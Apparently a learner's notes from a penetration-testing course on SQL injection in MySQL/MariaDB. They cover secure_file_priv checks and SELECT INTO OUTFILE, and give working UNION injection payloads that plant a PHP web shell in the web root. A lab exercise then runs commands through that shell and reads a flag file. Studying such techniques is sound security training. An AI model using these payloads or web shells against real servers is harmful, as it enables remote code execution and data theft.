# Introduction
- Modern DBMSes disable file-write by default and require certain privileges for DBA's to write files
- To be able to write files to the back-end server using a MySQL database, we require three things:
1. User with `FILE` privilege enabled
2. MySQL global `secure_file_priv` variable not enabled
3. Write access to the location we want to write to on the back-end server
# `secure_file_priv`
- The [secure_file_priv](https://mariadb.com/kb/en/server-system-variables/#secure_file_priv) variable is used to determine where to read/write files from
- An empty value lets us read files from the entire file system
- MariaDB has this variable set to empty by default, which lets us read/write to any file if the user has the `FILE` priv
- Otherwise, if a certain directory is set, we can only read from the folder specified by the variable
- On the other hand, `NULL` means we cannot read/write from any directory.
- Some modern configurations default to `NULL`, meaning that we cannot read/write files anywhere within the system
- `MySQL` uses `/var/lib/mysql-files` as the default folder
- This means that reading files through a `MySQL` injection isn't possible with default settings
- SQL query to obtain value of `secure_file_priv` parameter
```mysql
SHOW VARIABLES LIKE 'secure_file_priv';
```
- UNION payload to obtain value of `secure_file_priv` parameter
```mysql
cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- -
```
![[images/Pasted image 20251204180147.png]]
# `SELECT .. INTO OUTFILE`
- Now that we have confirmed that our user should write files to the back-end server, let's try to do that using the `SELECT .. INTO OUTFILE` statement
- The [SELECT INTO OUTFILE](https://mariadb.com/kb/en/select-into-outfile/) statement can be used to write data from select queries into files
```mysql
SELECT * from users INTO OUTFILE '/tmp/credentials';
```
```bash
cat /tmp/credentials
1 admin 392037dbba51f692776d6cefb6dd546d
2 newuser 9da2c9bcdf39d8610954e0e11ea8f45f
```
- Also possible to directly SELECT strings into files
```mysql
SELECT 'this is a test' INTO OUTFILE '/tmp/test.txt';
```
```bash
$ cat /tmp/test.txt
this is a test
$ ls -la /tmp/test.txt
-rw-rw-rw- 1 mysql mysql 15 Jul 8 06:20 /tmp/test.txt
```
# Writing Files Through SQL Injection
- To write a web shell, we must know the base web directory for the web server (i.e. web root)
- One way to find it is to use `load_file` to read the server configuration, like:
- Apache's configuration found at `/etc/apache2/apache2.conf`
- Nginx's configuration at `/etc/nginx/nginx.conf`
- IIS's configuration at `%WinDir%\System32\Inetsrv\Config\ApplicationHost.config`
- We can search online for other possible configuration locations
- UNION payload for writing an arbitrary string to a web root
```mysql
cn' union select 1,'file written successfully!',3,4 into outfile '/var/www/html/proof.txt'-- -
```
- No errors are shown![[images/Pasted image 20251204180802.png]]
- We can visit `proof.txt` within the browser to display the written string ![[images/Pasted image 20251204180854.png]]
# Writing a Web Shell
- Having confirmed write permissions, we can go ahead and write a PHP web shell to the webroot folder
- We can write the following PHP webshell to be able to execute commands directly on the back-end server:
```php
#RCE access by visiting http://ip_addr/port/shell.php?0=id
<?php system($_REQUEST[0]); ?>
#RCE by visiting http://ip_addr/port/shell.php?cmd=pwd
<?php system($_REQUEST["cmd"]); ?>
```
- Reuse the previous UNION payload while including the PHP webshell
```mysql
cn' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- -
```
- No errors are shown ![[images/Pasted image 20251204181034.png]]
- We can visit `shell.php` within the browser to invoke the written webshell while appending `?0=id` ![[images/Pasted image 20251204181136.png]]
# Exercise
- Ping test ![[images/Pasted image 20251204181234.png]]
- Nmap scan ![[images/Pasted image 20251204181227.png]]
- Determine number of columns with below UNION payload
```mysql
cn' UNION select 1,2,3,4-- -
```
- Looks like we are dealing with four (4) columns as we have no errors ![[images/Pasted image 20251204181400.png]]
- Determine injection location with below UNION payload
```mysql
cn' UNION select 1,@@version,3,4-- -
```
![[images/Pasted image 20251204181443.png]]
- Enumerate `secure_file_priv` with below UNION payload
```mysql
cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- -
```
![[images/Pasted image 20251204181533.png]]
- Trying writing a php webshell to the webroot with the below UNION payload
```mysql
cn' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- -
```
- No errors ![[images/Pasted image 20251204181757.png]]
- Visit http://ip_addr:port/shell.php?0=id ![[images/Pasted image 20251204181911.png]]
- This works but we are limited command wise
- This is actually NOT true - both this and the below can be used for RCE
- Visit http://ip_addr:port/shell.php?0=pwd ![[images/Pasted image 20251204182835.png]]
- Trying writing a new php webshell to the webroot with the below UNION payload
```mysql
cn' union select "",'<?php system($_REQUEST["cmd"]); ?>', "", "" into outfile '/var/www/html/shell3.php'-- -
```
- No errors ![[images/Pasted image 20251204182150.png]]
- Visit http://ip_addr:port/shell3.php?cmd=pwd ![[images/Pasted image 20251204182343.png]]
- Visit http://ip_addr:port/shell3.php?cmd=cd%20..;ls ![[images/Pasted image 20251204182441.png]]
- Visit http://ip_addr:port/shell3.php?cmd=cat%20../flag.txt ![[images/Pasted image 20251204182514.png]]